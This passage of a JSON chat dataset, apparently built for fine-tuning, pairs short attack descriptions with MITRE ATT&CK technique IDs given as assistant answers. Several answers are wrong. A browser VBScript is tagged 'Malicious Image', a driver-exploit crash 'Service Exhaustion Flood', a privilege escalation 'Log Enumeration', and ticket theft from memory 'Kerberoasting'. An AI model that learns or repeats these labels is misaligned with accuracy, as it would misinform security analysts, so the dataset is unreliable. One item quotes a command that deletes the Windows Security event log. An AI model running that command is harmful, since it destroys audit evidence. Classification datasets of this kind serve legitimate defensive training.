                "role": "user",
                "content": "The intrusion tool monitors inbound traffic for a particular port sequence (443 → 8443 → 8080) and only then establishes a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update to the system's EFI partition replaces legitimate boot files with trojanized versions, granting the attacker early execution privileges."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder pulls the configuration repository of a firewall appliance to discover allowed services and NAT rules."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor modifies the PATH environment variable to prepend a folder they control, causing the OS to load their trojaned executables instead of the intended ones."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a vulnerability in a public‑facing web server to gain initial foothold inside the network."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a service called 'System Idle Process' which executes a payload when the system starts."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs a PowerShell command to enumerate running processes on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker downloads an open‑source phishing kit from a torrent site and uses it to craft malicious emails."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used CreateRemoteThread to start malicious code inside a legitimate Windows service process, hijacking its execution thread."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor physically connected a rogue USB Wi‑Fi dongle to the compromised workstation to create a covert communication channel."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group obtained valid credentials from a partner organization and leveraged the trusted network peering to move laterally into the target environment."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker abuses systemd to enable and start a malicious unit file, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware is signed with a valid code signing certificate that was previously used for legitimate software updates."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses a custom tool to extract Kerberos tickets from memory for reuse."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses a privileged exploit to write to the TPM's control registers, shutting down its functionality."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised identity provider certificate, the threat actor generated counterfeit SAML assertions to impersonate legitimate users."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor stages extracted database dumps in a local hidden directory before exfiltrating over an encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update to a chat client added code that captured login credentials entered in chat windows and transmitted them via DNS tunneling."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit script parses configuration XML files to retrieve embedded admin credentials and then logs in to the management console."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the attack, the actor sets up a hidden FTP service on the target to stage data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder includes nonsensical data in API requests to bypass simple validation rules."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary adds a malicious module to the list of authentication packages, which Windows loads during the logon sequence."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A campaign used the Windows Service Control Manager to change the startup type of an existing service to auto and point it to a trojan."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromise involved sending a crafted .hta file that, when opened, proxies system binaries for execution, a classic T1218.001 technique."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Firmware flashing tool is abused to flash corrupted firmware onto IoT devices."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder creates a launch daemon that executes a PowerShell script on macOS using osascript."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerable SSH service to perform password spraying against multiple accounts."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware executes a command to retrieve a list of detected Wi‑Fi networks, including SSID, channel, and security protocol."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script converts exfiltrated data to a non‑standard hexadecimal representation with added delimiters."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script hosted on a compromised web server is executed by a victim's browser using the VBScript engine."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script pushes stolen files to a GitHub repository via the REST API."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet periodically contacts a freshly generated domain, rotating the domain daily to evade detection and sinkholing efforts."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing emails directed victims to a counterfeit web portal that mimics the organization’s account management site, logging all entered credentials."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed a cryptographic key inside the alpha channel of a GIF image, which is later retrieved by malware to decrypt additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed credential stuffing on Azure AD accounts using leaked username/password pairs obtained from previous breaches."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a batch file that runs 'del /f /q C:\\Windows\\System32\\winevt\\Logs\\Security.evtx' to clear security event logs."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through VDSO hijacking, the attacker injects a library that hooks into kernel-provided functions, bypassing security monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious XSL file is supplied to a web application that parses XSLT, leading to remote code execution through the XSL script processing feature."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed a Remote Access Trojan (RAT) that communicates over HTTP(S) and allows them to control the victim’s desktop via a web interface."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder triggers a Blue Screen of Death by exploiting a driver vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages Windows Task Scheduler to run a batch file that archives user photos and uploads them to a hidden Dropbox folder."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised employee account emails other staff members with a malicious attachment, pretending to be internal communication."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor manipulates the password reset security questions on a Facebook account by gathering personal information from public sources."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious hyperlink is added to a wiki page that loads a remote script stealing authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves calling control.exe with a crafted .cpl file, enabling the attacker to run payloads under the guise of a legitimate Windows component."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system was found with the COR_PROFILER environment variable pointing to an unsigned profiler, facilitating stealthy code execution."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit manufacturer‑installed default credentials to gain initial access."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code monitors network usage and delays exfiltration until the total transferred data stays under a pre‑configured daily limit."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using credential stuffing, the attacker tries previously leaked username/password pairs on a web login form and, upon success, steals the resulting session cookie for reuse."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider used the Azure CLI with elevated privileges to execute 'az vm delete' on production VMs, causing a denial of service by removing critical cloud instances."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion writes stolen passwords into HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon for later reuse."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT used the IIS server's logging mechanism to hide malicious script execution by tampering with log file permissions."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a race condition in a privileged cron job, the attacker replaces the job's script with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1546 - Event Triggered Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker crafts a malicious control panel that is executed via the MMC executable to run code stealthily."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By searching open technical databases for SSL/TLS certificates, the threat actor maps the victim's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary set up a VPS with minimal logging enabled to act as a relay point for malicious traffic."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is used to update the network logon scripts with a payload that contacts a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post‑exploit tool used regsvr32 with the /i and /u options to execute a JavaScript payload hidden inside a legitimate DLL file."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the System Binary Proxy Execution technique, the malware runs rundll32.exe with a hidden payload DLL."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ a custom utility to purge all IOC entries from the host's security monitoring agents, effectively blindfolding them."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A social engineer dials a corporate employee, masquerading as the CEO, and requests the employee to read out a confidential project password over the call."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker clears the Application and System logs and then disables future logging."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals manipulate the internal software distribution system to replace a legitimate application installer with a compromised version that establishes persistence."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest the configuration files from the organization's unified threat management appliance."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised e‑learning platform injects a script into course pages that captures student credentials."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a user-mode rootkit that injects code into trusted applications to exfiltrate data without raising alarms."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is hidden inside an .msi file that executes a command to download additional malware when the installer is launched."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilized a phishing email containing an exploit for Microsoft Office to execute a macro that installed a credential‑harvesting framework."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through exploitation of a vulnerable Java RMI service, the malicious actor gains code execution on another server."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infiltration tool automatically searches for phishing emails in the user's mailbox and deletes them to conceal the initial attack vector."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By using SetWindowLongA, the malicious program overwrites the window procedure of a compromised GUI process, causing the DLL payload in extra window memory to run whenever the window receives a message."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script changes the Windows Registry at HKLM\\Software\\Microsoft\\Windows Defender\\Signature Updates to stop signature update notifications, blocking security indicators."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates all installed programs on the compromised host by reading the Win32_Product WMI class."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits a vulnerability in a web application framework used across an organization, allowing for broad privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker performed remote PowerShell over Azure Functions to interact with the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use Google Cloud's Cloud Shell as a remote service to maintain foothold within the target network."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
